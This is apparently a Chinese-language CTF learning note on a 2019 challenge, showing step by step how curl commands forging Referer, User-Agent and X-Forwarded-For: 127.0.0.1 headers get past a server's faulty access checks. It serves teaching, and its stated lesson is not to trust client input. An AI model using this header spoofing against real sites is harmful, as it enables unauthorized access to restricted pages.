[极客大挑战 2019] HTTP 请求头伪造学习笔记

记录通过 Referer、User-Agent 和 X-Forwarded-For 请求头分析并绕过错误信任判断的过程。

  • #CTF
  • #HTTP
  • #Header
  • #请求头伪造

一、题目考点

核心考点:HTTP Header 伪造(HTTP Header Spoofing)。

服务器没有读取 GET、POST 参数,而是读取以下 HTTP 请求头:

  • User-Agent
  • Referer
  • X-Forwarded-For

二、HTTP 请求组成

浏览器访问网站时,实际上会发送类似下面的 HTTP 请求:

GET /Secret.php HTTP/1.1
Host:
User-Agent:
Referer:
Cookie:
Accept:
Accept-Encoding:
...

三、分析过程

1. 正常访问

先使用 curl 正常访问题目地址:

curl -k "URL"

-k 表示跳过 HTTPS 服务器证书校验。CTF 题目环境有时会存在证书校验问题,可以使用这个参数继续访问。

2. 发现 Secret.php

发现 Secret.php,页面中只有一句话:

It doesn't come from 'https://sycsecret.buuoj.cn/'

3. 修改 Referer

看到页面提示“来源”,想到 GET 请求中的来源信息与 Referer 有关,于是修改 Referer:

curl -k \
  -H "Referer: https://sycsecret.buuoj.cn/" \
  "URL/Secret.php"

响应页面发生变化,出现提示:

Please use "Syclover" browser

页面发生变化,说明后端进入了下一层判断,也就是后端执行路径发生了变化。

4. 修改 User-Agent

继续思考还有哪些请求头可以更改。提示要求使用 Syclover 浏览器,因此将 User-Agent 修改为 Syclover:

curl -k \
  -H "Referer: https://sycsecret.buuoj.cn/" \
  -H "User-Agent: Syclover" \
  "URL/Secret.php"

页面变化为:

No!!! you can only read this locally!!!!

重点思考提示中的 read 和 locally。不要只想着服务器本地,而是要想到服务器可能错误信任了客户端输入,从而把客户端误判为本地访问。

5. 修改 X-Forwarded-For

想到与 IP 有关的 REMOTE_ADDR 和 X-Forwarded-For,于是把 X-Forwarded-For 设置为本地回环地址 127.0.0.1:

curl -k \
  -H "Referer: https://sycsecret.buuoj.cn/" \
  -H "User-Agent: Syclover" \
  -H "X-Forwarded-For: 127.0.0.1" \
  "URL/Secret.php"

后端将请求错误判断为本地访问,因此允许继续访问。

四、总结

「极客大挑战 2019」HTTP 题目通过多个 HTTP 请求头判断访问条件。利用客户端可控的 User-Agent、Referer、X-Forwarded-For 等 Header,可以绕过服务器错误的信任判断。

本质上考察的是 HTTP 请求结构,以及“不要盲目信任客户端输入”的安全思想。

使用工具

curl

用于向题目地址发送 HTTP 请求,通过 -H 参数逐步设置 Referer、User-Agent 和 X-Forwarded-For 请求头,并观察响应页面的变化。